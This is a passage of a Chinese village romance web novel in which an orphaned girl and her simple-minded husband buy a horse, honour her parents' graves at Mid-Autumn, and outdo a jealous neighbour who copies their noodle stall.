阿福听见那人叫傻子,他连眼神都不曾给他一个,他叫的是傻子,他又不是傻子,他才不要和他说话! 他扬起马鞭,没抽在马身上,手一扬,鞭尾扫在地上,震起一片灰尘,同时发出鞭炮爆炸一般的声响。 啪! 这一鞭如同挥在了众人的心上,都忍不住跟着一颤,不由自主地往后退了几步。 马车即将驶过之际,丑丫将脑袋从车帘里探了出来,嘴角噙着嘲讽的笑,她一言不发,可却看得围观的人比臭骂他们一顿还难受。 她不过一个丑八怪,一个灾星,凭什么可以用那种眼神看他们! 今晚,清河村的村民们睡不着了,嫉妒得夜不能寐,曾经过得比他们差百倍的人都用上马车了,而他们却还在为了填饱肚子而努力。 只要想到这儿,他们的心就像被一万只蚂蚁啃食一样难受! 而回到家的丑丫和阿福,却是心情极好的。 最开始的打算是要买牛,两人将牛圈都给搭好了,但现在牛没买成,倒是买了匹马,牛圈变成了马圈。 瘦高的大黑马关进牛圈里,阿福将前两天已经备好的草给它的槽里放了一捆,还给他拎了一桶水。 大黑马啃了几口草,再咕咚咕咚喝大半桶水,高兴地打了个响鼻。 阿福很喜欢马,回到家后就一直守在马圈边和大黑马联络感情,直到丑丫喊他吃饭了才舍得离开。 日子过得很快,眨眼便到了中秋,每年的中秋都是丑丫一个人过,过不过也没什么两样,但今年有阿福陪她,她高兴地准备弄得隆重一点。 在镇上的糕点铺子里买了月饼,还买了两坛桂花酒,她甚至奢侈地将自己养的一只公鸡给宰了,要给阿福做鸡肉吃。 丑丫准备到爹娘坟前去祭拜,虽然没有中秋去祭拜的习俗,但在她这里早就没有了规矩可言。 而且这是阿福来到她身边后,他们过的第一个节,她想让爹娘知道,她不再是一个人,她也有人陪了! 一大早的,她就在厨房里忙活,而阿福现在的活计也多了起来,除了挑水以外,他还负责遛大黑马,给它割草、喂食、洗澡。 今早,阿福就趁着挑水的功夫把大黑马也给牵出去了,让它到河边喝水,顺便吃几口河边的嫩草。 说起来,阿福对于养马还真是有一套,刚买回来时瘦成皮包骨的大黑马开始长肉了,毛发也亮堂了不少,看着比以前好看了。 但大黑马也有个缺点,就是吃得太多了! 一天草料不断,比牛还能吃,要不是阿福厉害,能供得上它的胃口,大黑马估计得被饿死。 她现在合理怀疑,大黑马在马贩子那里之所以这么瘦就是因为从来没吃饱过,饿的! 而阿福,牵着大黑马在村里溜达,引来一堆羡慕的目光,还有些不太懂事的小屁孩对大马好奇,远远地跟着阿福,结果被阿福一个凶巴巴的眼神吓得屁滚尿流逃跑。 丑丫将去祭拜的东西给准备好,阿福也带着大黑马回来了,大黑马显然是还没溜达够,关在马圈里不停地尥蹶子。 背篓里放了去祭拜的纸钱、香火和供品,丑丫将背篓背在身上,手里拿着把镰刀和小锄头,准备和阿福步行去爹娘的坟前。 但阿福却叫住她,他走到马圈里将大黑马给牵了出来,给它架上马鞍,要带丑丫一起骑马。 第46章 两人一同骑马 丑丫期待又害怕,她没骑过马,很想体验一下骑马的感觉,但是她的小身板在大黑马跟前显得太渺小,只要它轻轻一抖,就能将她从马背上给摔下来。 阿福接过她身上的背篓,背在自己身上,双手搭在她肩上,俊美的脸上带着暖暖的笑,看得丑丫晃神了一瞬。 “娘子放心,阿福会保护好你的!” 丑丫点头,心里的那丝不安彻底消散,有阿福在,她还有什么好怕的! 大黑马和阿福感情很好,很听话,乖乖地站在原地等着,阿福一手搂过丑丫的腰,将她给抱了起来,有力的双臂向上一托举,很轻松地就将丑丫给抱到了马背上。 丑丫没想到他会这样抱自己上马,小小的惊呼了一声,慌乱的手抓住了缰绳,而下一刻,就见阿福足尖一点,如会飞一般,翻身便上了马背,坐在她身后。 他的身体很高大,将娇小的她完完全全护在怀里,丑丫的背靠着他的胸膛,热热的,还可以感觉到他因呼吸而起伏的弧度,这一刻,她发自心底的觉得踏实和安心。 阿福接过她手里的缰绳,这个动作更加将她紧紧护在怀里:“娘子,准备好了吗?我们要出发了哦!” 丑丫能感觉到,阿福很喜欢马,马背上的他,展现出一种前所未有的肆意和欢快,她的心情也被他感染。 “准备好了,出发!” 阿福轻轻用双腿夹了一下马腹,大黑马得到指令,立马带着两人跑出院子,在路上肆意地奔跑。 大黑马很喜欢溜达,跑得很快,丑丫感觉到迎面吹来的风,以及身边呼呼而过的风景,忍不住地高呼:“哇哦!阿福,好好玩儿!” 原来骑马是这种感觉,肆意畅快,随着马奔跑起来那一刻,脑海里的所有的想法,不管是开心的还是悲伤的,全都消失不见,只剩下眼前的畅快。 见娘子和自己一样喜欢骑马,阿福也高兴极了:“那我以后天天带娘子骑马!” 马飞驰而去,丑丫的欢呼声落了一串,从前那个老成持重、随时冷着一张的脸的小姑娘不见了,她变得爱笑,变得活泼,会像一个普通小姑娘一样叽叽喳喳分享自己的喜悦,这一切,都是因为阿福。 路上走着的村民只觉身边一阵劲风袭过,等再次回神,只有跑远的马背,和那哒哒的马蹄声以及丑丫欢快的笑声。 “呸!” 村民啐了一口,眼底流露着羡慕的神色,但是嘴上说的却是发酸的骂人的话。 “不就是买了一匹马吗?有什么了不起的,怎么不摔死你们!” 骑马来到了半山腰的一块平地上,阿福抱着丑丫下了马,往里走了一截,便看到两个小土包,土包上面长了不少的杂草,但是比起那些被草木掩盖的荒坟要好上不少。 丑丫拿了镰刀,将坟上的荒草一点点割下来,阿福也拿着小锄头一起帮忙,在两人努力下,不一会儿小土包便显露出了本来的面容。 只是两个尖尖的、不起眼的小土堆,连块墓碑都没有,当年帮忙埋葬的外乡人不识字,不会写碑文,丑丫也太小,便只给爹娘垒了个小土堆。 其实,她并不知道爹娘叫什么名字,就像她也忘记了自己的名字一样。 翻找那些浅淡的记忆,只记得爹好像经常叫娘阿茹,而娘叫爹阿青,她不知道他们的姓,也不知道他们全名叫什么。 至于自己,好像被爹娘叫过囡囡、叫过丫头、叫过闺女,却从来没叫过名字。 清理完了坟头的杂草,丑丫把背篓里东西一一拿了出来,两块月饼,一小碗炒好的鸡肉,还有她自己做的腊肉、咸菜。 她跪在坟前点了香,烧了纸钱,即使知道他们听不见她说的话,还是忍不住和他们分享自己的好消息。 “爹,娘,你们放心,女儿再也不是一个人过中秋了,我也有人陪了,他叫阿福,对我特别好,特别的宠我” 她絮絮叨叨地说着,脸上带着浅浅的笑,不再像从前那般在爹娘的小土包前大哭一场,直到眼泪哭干了,再像个没事儿人一样整理好自己的仪容回到那个只有她一个人的家。 阿福也跪在丑丫身边,傻乎乎地给坟堆磕了两个头:“爹、娘,我会保护好娘子的,一定不会让别人欺负她!” 丑丫抬眸看着神情认真对着两个小土包发誓的男人,眼眶里涌上了酸涩。 她今天很高兴,本来不想哭的,可是这个傻傻的男人总会很轻易就牵起了她的泪丝。 大概是有人宠了,她也变得矫情起来,忍不住想起从前所受的那些欺负。 就像一个人委屈时,没人来安慰,他一个人是可以忍下来的,可别人的一句关心,却能让他瞬间破防,再也坚持不下去。 她记得父母刚去世那两年,受了委屈,她总会跑到他们的坟前,靠着小土包,一哭就是好久,有时甚至在他们坟前过夜。 两个小土包中间有一个狭小的凹槽,她那时就缩在小小的凹槽里,尽管夜里的山林里会传出一些奇奇怪怪的声响,她却一点都不觉得害怕。 小小的她睡在凹槽里,两边是父母,就像他们还在世的时候,一左一右牵着她的手。 有时,她甚至想,将凹槽处也挖出一个坑,把自己给埋在那里,这样的话他们一家三口就又在一起了。 村里有个习俗,凡是村里死了人,每家每户都会用草木灰在大门口画一道线,将路给隔断,因为草木灰可以辟邪,画了线,可以阻挡邪祟进家。 她从来没画过,为什么要画呢,死去的人是她的亲人啊,别人害怕畏惧的鬼,却是她日思夜想的人。 但尽管这样,她也没能等来爹娘,等后来长大了些,她便不再信死了的人会变成鬼。 人死如风散,死了便再也没有了,若是真会变成鬼,他们怎么可能不回来看她,怎么可能任由她被别人欺负呢。 想起从前的种种,她的泪水控制不住的淌,看着阿福的视线也模糊了。 阿福就在她身边,伸手,将她给搂进了自己怀里,他不会说安慰人的话,但这一刻他觉得,他不用说什么,只用紧紧的抱着娘子,让她知道,他一直在她身边就好。 第47章 破土而出的笋 丑丫紧紧拽着阿福的衣裳,泪水都哭湿了他的衣襟,这或许是一个契机,让她将从前的委屈都给哭出来,从此以后,她就是一个全新的丑丫,迎来她全新的生活。 哭了好久,她的两只眼红彤彤的,像两只兔子眼,水润润的,看着很漂亮。 她的五官其实很好看的,两弯秀气的柳叶眉,大大圆圆的杏眼,小巧高挺的鼻梁,还有一张红艳的樱桃小嘴。 只可惜,老天爷笔误在她脸上画了一朵奇异的,不被世人所接受的花,喧宾夺主,让人注意不到她的美貌。 阿福垂眸看着他怀里脆弱可怜的丑丫,心里酸酸的,软软的,他不由自主地低头,用唇轻轻吻上丑丫水润的眼眸。 他能感觉到,丑丫闭上了眼,但那不安分的眼皮还在微微地跳动。 丑丫的心在这一刻似乎停止了跳动,她的身体也僵硬住,一动也不敢动,感受着眼皮上那抹温热柔软的触感,一股热浪逐渐在浑身蔓延。 她不敢动,不敢推开他,也不想推开,心停止片刻跳动后紧接而来的是狂蹦乱跳,她自己都可以清晰地听到她自己心跳的声音,白嫩的小耳朵也一瞬间被红晕给浸染。 阿福亲了左眼,又亲了右眼,直到他觉得满足了,才抬起头,那张俊脸上也泛起可疑的红晕。 丑丫睁眼,与阿福对视,两人都不说话,等身上那股羞涩的燥热褪去后,丑丫直起了身子,装作没事人。 “哎呀,都哭饿了,阿福你饿不饿,我们吃点东西?” 阿福呆呆愣愣的,还没反应过来,就见丑丫将供在坟前的两块月饼拿了起来,给他一块,她自己一块,张嘴便吃了起来。 阿福再傻,也知道供品是不能随便吃的,这是给逝去的亲人吃的,看着娘子递过来的月饼,他一时间不知道该不该吃。 丑丫已经将自己手里的月饼啃了两口了,见阿福不接,开口道:“吃吧,这月饼可要差不多三文钱一块呢,你以为放在这儿爹娘真的会来吃啊,到最后还不是便宜了这山里的蛇虫鼠蚁!” “我们心意尽到就行了,爹娘不会怪我们的,对吧,爹娘?” 她说着,对着两个小土包粲然一笑,虽然她很想爹娘,很爱他们,但她知道,人死了就是死了,即使她给他们供的是琼浆玉液、美味佳肴,他们也不会来吃。 随着她的话落,吹来一阵风,将周围的树叶吹得哗啦作响,像是有人在笑一般。 “你看吧,爹娘都同意了,我们快吃吧,把月饼吃了,再把这碗鸡肉也给吃了,然后我们一起去骑马,我还没骑够呢!” 傻憨憨的阿福被忽悠住,接过月饼也吃了起来,两人坐在坟前,将带来的供品都给解决了,要是被外人看到,不免又是一阵说道。 祭拜完了爹娘,填饱了肚子,两人也不着急回家,让大黑马在山上吃草,丑丫则带着阿福在山上转悠,捡些可以吃的东西。 丑丫对村附近的山都很熟悉,哪里有果树,哪里有野菜,哪里会长蘑菇,她一清二楚。 小时候挣不到钱,她就往山里钻,摘野果、挖野菜、掏鸟蛋,饱一顿,饿一顿,也将自己给养活了。 两人到了一棵野栗子树下,野栗子树很高,每年都会结不少的栗子,但因为是无主的,竞争很激烈,每年村里的人都要为了摘栗子闹出不少的矛盾。 丑丫自然是抢不过他们的,她就捡地上的,多多少少也能捡到几个。 今年也如此,树上的已经被摘得差不多了,丑丫就和阿福一人折了一根树枝,翻开地上的落叶,寻找掉在地上的栗子,还真找到了不少。 两人在山上逛到了下午,山坡上大黑马在吃草,丑丫和阿福就躺在草地上晒太阳,许久都没有这样休息过,丑丫只觉得浑身舒坦。 回家时,两人还是骑上了马,像来时一样,丑丫坐在前面,被阿福护在怀里,一路疾驰回家。 夜间 十五的月亮格外的圆,丑丫在院子里摆了张小桌子,上面摆了几块糕点,几个果子,两坛桂花酒,还有今天捡回来的野栗子,已经用盐水煮熟了,很好吃 丑丫没喝过酒,因为以前没钱买,今天终于尝到了酒味,很辣、很苦涩、还会呛喉咙,虽然有一股桂花味儿,但那味道说不上好。 她喝了一口就没再喝了,嫌弃的撇撇嘴,想到那些酒鬼,喝得倾家荡产也要喝,也不知道他们是怎么想的,有这钱还不如买两斤肉来得实在。 但让她意外的是,阿福居然挺喜欢喝的,两坛酒最后都进了他的肚子,除了脸颊有些红,也没见他喝醉。 吃了月饼,喝了桂花酒,中秋算是过完了,丑丫和阿福洗漱过后回了屋睡觉。 尽管已经洗漱过,阿福身上还是有一股淡淡的酒味,不难闻,相反还有点醉人。 一躺到床上,阿福就伸手将丑丫抱进了怀里,搂得紧紧的,丑丫从一开始的面红耳赤,到现在已经欣然接受了。 要是哪天阿福没有搂着她睡,她还会觉得不习惯。 大概是因为喝了酒,阿福本就高的体温变得更高了,热乎乎的抱着丑丫,就像一个大暖炉。 带着淡淡酒味的呼吸倾洒在丑丫的脖间,烫得她敏感的小耳朵通红,忍不住缩了缩脖子。 阿福闻着娘子身上传出来的淡淡的馨香,身体又控制不住的有了异样。 娘子明明都不擦脂抹粉,也不戴花,为什么会这么香呢? 香到他一闻就觉得体内有一阵说不出的躁动。 他的呼吸变得急促,喷洒出来的呼吸愈发的滚烫,丑丫背靠着他的胸膛,感觉到他逐渐升高的体温,也感觉到有什么东西如破土而出的笋,触碰到了她的大腿。 她自然知道那是什么,一时间不知该如何是好,只能慌乱的闭上眼睛装睡。 但阿福的粘人劲儿上来了,搂着她,用他的脑袋不停的蹭着她,声音嘶哑,如同低低的呢喃。 “娘子,我难受。” 第48章 心烦意乱的燥热 那低哑有磁性的声音像是一根狗尾巴草,轻轻地扫过丑丫的心,痒痒的,酥酥的,但是她不敢回应,闭上了眼装睡觉。 可惜她的演技太差,紧绷的身体出卖了她,阿福知道她没睡着,低哑的声音中带着委屈。 “娘子,阿福难受,你不要不理阿福好不好?” 丑丫哪儿受得了男人这么委屈地和她说话,不再装睡,翻了一个身,不点灯,和阿福面对面,睁着眼,在伸手不见五指的黑夜里,看着她跟前的人。 她看不清阿福的表情,但却感觉得到他眼神的灼热。 她声音柔柔的,甜甜的:“阿福,闭上眼,我给你讲故事,听完故事你就不难受了。” 阿福第一次就是这么被她给忽悠睡着了,她准备故技重施,但阿福已经尝试过更好的选择,当然不想听着故事使劲地压抑自己。 “不要,阿福要娘子摸摸,像在医馆那次一样。” 他挪动了身体,让自己与丑丫的距离更近,黑暗中,那灼灼的眼神愈发的炽热。 唰一下,丑丫的脸烧起来了,忍不住地回想起那天的状况,顿时羞涩得不敢想下去。 那时阿福是被药物控制,她不得已那样做,但现在阿福是清醒的,她也要那样吗? 她没回应,阿福却已经将她搂进怀里,将脑袋埋在她的脖间,嗅着她身上的香味,低沉的嗓音在她耳边响起:“娘子,帮帮我好不好?” 黑暗中,丑丫红着一张脸,用细若蚊吟,几乎听不到的声音小小嗯了一声,之后便生涩地模仿着上次的动作。 不过好在阿福有天赋,不需要她做什么,他会遵循自己的本能让自己沉沦。 丑丫不知道过了多久,只觉得时间很长很长,长到她涌上睡意,困倦不堪,手腕也酸涩不已。 终于,在某一刹那,山石颤抖,天轰地裂,如同泉水喷涌,也如同火山迸发炽热的岩浆。 霎时,丑丫的困意全无,听着耳边起起落落的呼吸,她不敢起身,也不敢说话,静静地等着阿福平复情绪,片刻后,阿福起身出屋,拿了湿帕子进来,帮她细致地擦手。 折腾了这么久,阿福终于舒坦地睡着,可丑丫却睡不着了,她觉得自己就像生病了一样,体内有一股燥热在四处乱窜,冲得她心烦意乱。 中秋过了,丑丫和阿福继续到镇上去摆摊,现在有了马车,他们可以不用天不亮就出发,也不用花大力气走路。 大早上就能溜达,大黑马很高兴,尽管拉着车,也走得很是轻快,马车快要出了村口,遇上要去镇上卖鸡蛋的村里有名泼妇李秋萍。 听见身后的马蹄声,她回头一看,见是丑八怪两口子,顿时喜笑颜开。 有马车好啊,都是同村的人,他们不可能不带她,她还没坐过马车呢,今天就好好体验一下。 她一张脸笑出了褶子,已经将手上拎着的鸡蛋篮子放在地上,就等着马车停到她身边上车了。 丑丫坐在车厢门口处和阿福说话,自然也注意到了李秋萍,看她那张尖酸刻薄的脸笑得不怀好意的样子,就知道她打的什么算盘。 “阿福,别理她,我们走我们的。” 以前咒她的话没少说,现在还想坐她的马车,没门儿! 阿福点头,他不仅听话地没理伸手拦车的李秋萍,还用马鞭轻轻抽了大黑马屁股一下,大黑马立马迈开蹄子加快步伐。 秋天天气干燥,路上是一层厚厚的积灰,大黑马跑过,带起一片灰尘,李秋萍不仅没坐到马车,还吃了一嘴的灰。 见马车跑远,根本没有要载她的意思,她吐着嘴里的灰破口大骂:“呸!小贱蹄子,黑心肝、烂肚肠的,不让坐就不让坐,老娘稀罕你那破马车!” 她搜肠刮肚,将自己储备的那点骂人话来三遍去三遍地骂完了,只不过丑丫和阿福早已不见了身影,她骂得再厉害,最终生气的也只有她自己。 骂骂咧咧的李秋萍来到镇上,卖了攒了许久才攒够的三十个鸡蛋,换了二十五文钱,她在街上转悠,突然看见路一侧的一家面摊上忙活的丑丫和阿福。 此时正是饭点,来的客人都坐满了,还有附近同样摆摊的摊主在排队,要买一碗面端回去摊位上吃,等吃完了再将碗给送回来。 丑丫和阿福忙得团团转,羡慕坏了周围的摊主们,他们的生意要是也这么好,就不愁吃穿了。 不止摊主们羡慕,李秋萍也羡慕,她许久没有来镇上了,听村里人说丑八怪和傻子在镇上摆摊,她根本没当回事儿,一个丑,一个傻,眼瞎了的才会去买他们的东西。 但是现在看到的情况完全打破了她的认知,他们不仅能卖出去,生意还相当的好! 附近几家吃食摊子,数他们的生意最好,只现在,摊位上就有十多个人呢,这不得挣四五十文! 早上刚被他们喂了一嘴灰,现在又看到他们风生水起的样子,李秋萍气愤的瞪了丑丫和阿福好几眼。 片刻后,她脑筋一转,嘴角挂上一抹坏笑,都是同一个村的,她去讨一碗面吃不过分吧。 他们要是不给,那她就在摊位上闹,让客人知道他们两个是如何对待同村人的,看谁还敢来买他们的面! 这么想着,她挎着篮子,扭着腰朝着摊位上走去,丑丫正忙着,没注意到来人,等注意到时,李秋萍已经站在锅前了。 “哟,忙着呢,生意不错嘛。” 李秋萍说着话,眼神却死死的盯着那锅熬得奶白的大骨汤和那盆酱色的肉臊子上,大骨汤飘香。 座位上的客人们都埋头吃面,随着筷子搅动,面条的香味散发出来,勾得周围的人不停咽口水。 要说李秋萍一开始是想来捣乱,但现在闻到香味儿,她是真想吃上一碗。 她眼睛骨碌碌一转,故作不经意道:“这大中午的还没吃饭,肚子怪饿的。” 言下之意,还不赶紧请她吃碗面! 丑丫冷嗤一声,这脸皮是有多厚才能动了这种心思,她小时候饿得快要死的时候怎么不见她施舍过一星半点东西! “大中午的的确不早了,您赶紧回家吃饭吧,别在街上耽搁了。” 李秋萍一噎,这小贱人明明知道她是什么意思,却故意这么说,真是气死她! 第49章 村民前来打秋风 “丑丫,我看你这面挺香的,都是乡里乡亲的,给我来上一碗呗。” 指望小贱人主动送她面是不可能了,那她就主动开口,她就不信她敢当着这么多人面和她撕破脸! 丑丫冷笑,面上却是装作一脸热情:“好呀,都是乡里乡亲的,这面我就收你四文钱一碗,卖给别人我都是收五文的。” 李秋萍听到那个好字,脸上立马挂起了笑,可听到她要收钱时,顿时黑了脸! “都说是乡里乡亲的,你怎么还收钱啊?再说了,不就一碗破面条嘛,还四文钱一碗,你怎么不去抢啊?” 丑丫都被她这话给气笑了,先将锅里煮着的面条出锅,放好调料端给客人后才厉声回道。 “是,我这就是一碗破面条,嫌弃你别在这儿站着啊,腆着张脸来吃白食,还有脸嫌弃,要是你纳的鞋底有你的脸皮厚,你们一家一年到头就不用买新鞋了!” 李秋萍没想到这小贱蹄子居然这么直接地骂她,她就不怕丢脸吗? 她气得两个鼻孔张大,那双刻薄的眼睛也充满了厉色,当即就在摊位上嚷嚷起来,既然她不怕丢脸,那她就将她的脸皮彻底撕破好了。 在她心里,她什么错都没有,错的都是丑丫,她们是同一个村的,她不过来吃一碗面,她居然还要收她钱,哪有这种道理! 一个客人吃饱,刚站起身,李秋萍就冲过去,一屁股坐在了他的位置上,差点将那客人给撞倒,客人生气地瞪了她一眼,但她不管不顾。 她翘起二郎腿,开口便如泼妇骂街一般:“大家伙给评评理,我和丑丫是同一个村的,乡里乡亲,肚子饿了,不过想吃她一碗面,她居然还收我钱,张口就要四文钱!” “这要是我摆摊,乡邻来了都是不收钱的,哪有她这样做生意的,一碗面卖五文钱,我看镇上面摊数她卖的最贵,你们也是舍得,五文钱一碗的面也舍得吃!” “不像我,攒了好几个月的鸡蛋才卖了二十五文钱,一分都舍不得给自己花,全都要留着给男人和儿子的!” 丑丫的脸色冷了下来,她来打秋风,她可以和她吵几句,但要是敢来破坏她生意,那她就不客气了! 她想走过去将人给轰出去,阿福也沉着一张脸,要过去揍人,但就在这时,摊位上的顾客们帮忙说话了。 一个经常来他们摊位吃面的中年男子骂道:“你这妇人怎这般无赖,亲兄弟还明算账呢,你不过和人家是一个村的,有什么脸面让人家免费给你吃东西?” “人家的吃食哪样不是花钱买的?你脸可真大,张嘴就要人家让你吃白食,能将吃白食还说得如此理直气壮的,这世上恐怕也就你一人了!” 隔壁卖鞋的大娘早就听不下去了,尽管隔着一段距离也用她的大嗓门帮忙骂人。 “我看看是谁在说大话呢,还什么要是你摆摊乡邻来了都不收钱,那你倒是先摆一个啊,等你摆了,我一定天天去你摊位上盯着,看看同村人来了,你是不是真不收钱!” “站着说话不腰疼,你这是出门没带脸啊,尽做这些不要脸的事,还说什么钱都是留给你男人和儿子的,我是你男人和儿子,我都觉得晦气!” 大娘的战斗力一如既往地剽悍,这话说得摊位上的客人以及附近看热闹的行人都大笑出声,忍不住跟着附和。 “说得好!大娘再来两句!” 大娘得意地挺了挺胸脯,她这张嘴,可是出了名的毒,但是她嘴毒心不毒,是她的错,她老实认错,绝不和别人争吵,不是她的错,她能将人祖宗十八代都骂得不安生! 李秋萍的脸涨成了猪肝色,两眼愤恨地盯着周围的人,觉得他们都是一群脑子有病的,她那是在为他们说话啊,丑八怪一碗烂面条卖五文钱,他们居然也愿意买来吃! 见周围人都帮着丑八怪说话,她吵不过他们,只能愤恨地跺了两下脚离开。 闹事的人走了,摊位上恢复平静,丑丫感激众人帮忙说话,给客人们都免了一文钱,还给卖鞋大娘送了一碗面。 客人们高兴,要说他们一开始也觉得五文一碗的面太贵了,可吃过之后就觉得很值得,虽然比其他面摊卖得贵,但人家摊主给的面分量足,味道还好,这是其他面摊比不了的。 卖鞋大娘也高兴,她愿意帮这小两口,是因为他们值得,她帮了忙,他们会心存感激,有时会送她面吃,有时会帮她摆摊收摊,总之,这小两口有心。 要是换了个别人帮了忙,却不记得别人好的人,看她乐不乐意开这个口,不落井下石就算好的了! 丑丫和阿福的生意并没有因为李秋萍受到影响,等将东西卖完后,高高兴兴地收了摊位赶着马车回家。 而李秋萍就不那么好受了,揣着卖鸡蛋的二十五文钱,什么都没买,顶着烈日走回家,肚子早就不饿了,被气的,塞了满腔的怒火。 她越想就越难受,她一大早赶路卖鸡蛋,才卖了二十五个铜板,现在还要饿着肚子、受着气走回去,而丑丫和阿福,摆摊生意火爆,卖五碗面就抵她攒几个月鸡蛋换的钱! 最主要的是,人家还买马车了,舒舒服服地坐着马车回家,气派又威风,不像她走得腿脚发酸,还被太阳晒得一脸的汗! 丑八怪以前的日子明明那么难,吃了上顿没下顿,随时都要饿死,现在怎么就越过越好了呢? 一定是他们去摆摊挣大钱了,依她今天观察的,他们的面摊一天最少能挣上百文,这一个月下来,能挣好几两呢! 想着想着,她也动了摆摊的心思,这么挣钱的生意,不能让丑八怪和傻子两个人都挣了。 她男人和公公婆婆,一门心思都花在那几亩破田地上,累死累活,一年到头来还不是只填饱了个肚子,家里余钱都没多少。 再过两年,儿子该娶媳妇了,要是他们也去摆摊,挣一大笔银子,到时候说不定能给儿子说一个富家小姐! 第50章 同村人模仿做生意 这么想着,她肚子里的怒火渐渐消了,取而代之的是兴奋激动,她在脑海里不停地臆想着,等她去镇上摆了摊,抢了丑丫和傻子的生意,一天挣几百文。 不用几个月,他们家就可以盖新房,到时候也买一辆马车。 她一个月买一匹新料子,做一身新衣裳,让村里人羡慕死她,也让丑八怪后悔今天这么对她,跪在她跟前道歉! 既然丑丫和傻子都能靠摆摊发家,凭什么她不能,她家的日子之前可是比丑丫好了不止一星半点的! 人总是这样,能接受别人比他有钱,但不能接受曾经远远不如他的人变得比他有钱,一旦有这个认知,他就会嫉妒发酸,绞尽脑汁地想赶超他。 李秋萍在脑海里臆想着自己的摆摊大计,脚下的步伐都快了不少,恨不得能立马飞回家,和家人商量这件事。 三日后,丑丫和阿福清早像往常一样赶着马车去镇上,在半道上遇上了拉着板车同样去镇上的李秋萍夫妻。 李秋萍男人叫张铁牛,但没能像他名字一样长得高壮,是个五短身材,长得普普通通,属于没有任何特点,丢在人堆里完全认不出的那种。 他在前面拉车,李秋萍在后面推,张铁牛没有阿福的力气,阿福拉着满满一车的东西还能走得轻快,而这两口子,一拉一推,依旧走得艰难。 马车与他们的板车擦肩而过,丑丫看到他们板车上的锅碗瓢盆,立马明白了他们的主意。 这是看他们做生意挣钱,也想跟风来分一杯羹。 她并不将这件事放在心上,做生意不是她发明的,集市也不是她开的,别人想做生意就做,和她没有任何关系,她能做的就是打理好自己的小摊,认认真真做生意。 大黑马跑得很快,没一会儿就将李秋萍夫妻甩得远远的,看不见了身影。 李秋萍看着跑远的马车,眼神火热。 哼!狂什么狂,再等几个月,他们家也照样能买得起马车! 张铁牛拉车拉得一身汗,肩膀被勒得生疼,刚才又见丑丫和阿福风光地坐着马车从他身边走过,顿时觉得落了脸面,心里涌上一阵怒火。 “都是你这臭婆娘鼓捣着要做什么生意,大早上的觉都不能睡,老老实实种地有什么不好的!” 李秋萍被骂得来了气,但又只能憋着,家里的钱都捏在公公婆婆手里,她可是说了许久才说动男人去和公婆商量做生意这件事的。 她知道她男人的脾气,要是现在将他惹毛了,他肯定将车丢下就撂挑子不干了! 她强挤出一脸讨好的笑:“当家的不生气,你看丑丫和那傻子坐着马车威不威风?只要我们也去镇上摆摊,那样的马车我们家迟早也会有!” “你想想,到时候你赶着马车从村里过,那村里人不得羡慕死你,我前几天还看到傻子带丑丫骑马,那狂的哟,等咱家也有了马,你骑上,一定比傻子威风百倍!” 听着她的话,张铁牛忍不住想象那个画面,他骑着高头大马,从村里跑过,那不得迷死村里的大姑娘小媳妇儿? 到时候他就休了这个泼辣的黄脸婆,再娶一个大姑娘,最好能像那些地主老爷一样,纳几个小妾! 夫妻俩各怀心思,一个想着挣钱之后穿金戴银,让别人羡慕,一个却想着有钱以后就停妻再娶,坐享齐人之福。 丑丫和阿福去到镇上,摆好摊位,生意开张了许久,张铁牛和李秋萍才姗姗来迟。 镇上的街道那么大,他们却将摊位选在了丑丫和阿福的摊位对面,丑丫甚至还看到了李秋萍满脸得意地挑衅她。 她没将她放在眼里,忙活着自己的,邻居大娘也注意到了李秋萍,啐了一口。 “呸,这小娘皮还真来摆摊了,不过我看她那一脸刻薄相就知道不是做生意的料,连自己都收拾不利落,还想做吃食生意,呵!” 大娘的嘴依旧毒,但是却一针见血,做吃食生意,最讲究的就是干净卫生,李秋萍和她男人说不上多脏吧,但却给人一种邋遢感,这样的人卖吃食,给人的第一印象就不好。 丑丫和阿福的生意爆满,而对面的李秋萍夫妻还没开张就和两侧的摊主发生了矛盾。 人家两个摊主中间留了一个空位,位置不是很大,但李秋萍却非要往那里挤,还要两个摊主往两侧给她挪地方。 两个摊主都是老实人,吵不过泼妇一样的李秋萍,而且在街上吵吵闹闹的,把客人都给吓跑了,只能忍着怒火,将摊位往两边挪,离李秋萍夫妻远远的。 等摊位摆好,半晌都没等来一个客人,反观丑丫和阿福的摊位,客人进进出出,李秋萍急了,站在摊位前吆喝拉客。 还真有被她拉到的客人,先站在案板边看看锅里的东西,一锅煮沸的开水,里面放着几个葱结和几片姜在煮。 他们哪儿舍得去买猪大骨,就算比肉便宜,那也是要花钱的,底汤嘛,加点葱姜盐巴,能喝出味儿来就行了。 至于浇头,满满一大盆的炒咸菜,里面只见零星的几点肉沫。 咸菜家家会做,但味道却各有千秋,李秋萍家的咸菜,颜色发黑,一看就不好吃。 客人看几眼他们摊位上的东西,扭头便走了,这样的手艺还不如他们呢,在家自己扯一碗面,吃的是自家粮食,量管够,还不用花额外的钱。 李秋萍都准备好把面条下锅了,却见客人扭头走,忙追出来拦住人。 “哎!你这人怎么好端端的说走就走,我都准备煮面了,你这不是耍人吗?” 客人听她这么说,当即来了气:“我怎么耍人了?我有亲口说要在你这人吃面吗?你开门做生意,让人看看还不行了?有病!” 客人骂完甩袖就走了,转而去了对面丑丫和阿福的摊位,李秋萍更是气得嘴都歪了。 张铁牛见第一个客人被自家婆娘给得罪,开口便骂:“收收你那泼辣性子,出来做生意你还当在自己家呢?第一个客人就被你气走,我看见你就来气!” 第51章 一文钱买一口面,算你赚了 李秋萍一肚子的委屈无处发泄,憋得脸色黑沉沉的,他能耐,他厉害,怎么不见他拉几个客人进来,只会骂她! 没本事还瞎叫唤,她当初怎么瞎了眼地嫁给了他! 时间渐渐到了中午,镇上赶集的人多了起来,饭点,吃饭的客人众多,丑丫和阿福的摊子生意像往常一样好,除了位置上坐着的,还有人站着排队。 有客人赶时间,见迟迟不到自己,便转身去了对面的面摊,瞧着像个新开张的,也不管味道如何了,先填饱肚子再说。 而且,都有信心来摆摊了,味道能差到哪儿去。 李秋萍和张铁牛一早上都没等来一单生意,张铁牛将李秋萍骂了不知多少次,李秋萍都快忍不住要在大街上和男人打起来了。 现在见居然有丑丫和傻子的客人主动到他们摊位上来,乐得龇牙咧嘴,牙花子都露出来了。 这些人一定是被他们摊位上的香味给吸引过来的,就那一大盆咸菜,她可是忍痛放了一碗肉沫和一勺油呢,就为了这,她婆婆都将她给骂了一顿。 这个时候客人们肚子饿了,也不去看他们案板上的东西,坐到了座位上,各点了一碗面。 李秋萍喜滋滋地把扯好的面条给丢进锅里煮,熟了捞出来,浇一勺用葱姜煮的汤底,再加一勺带着一点肉星子的炒咸菜。 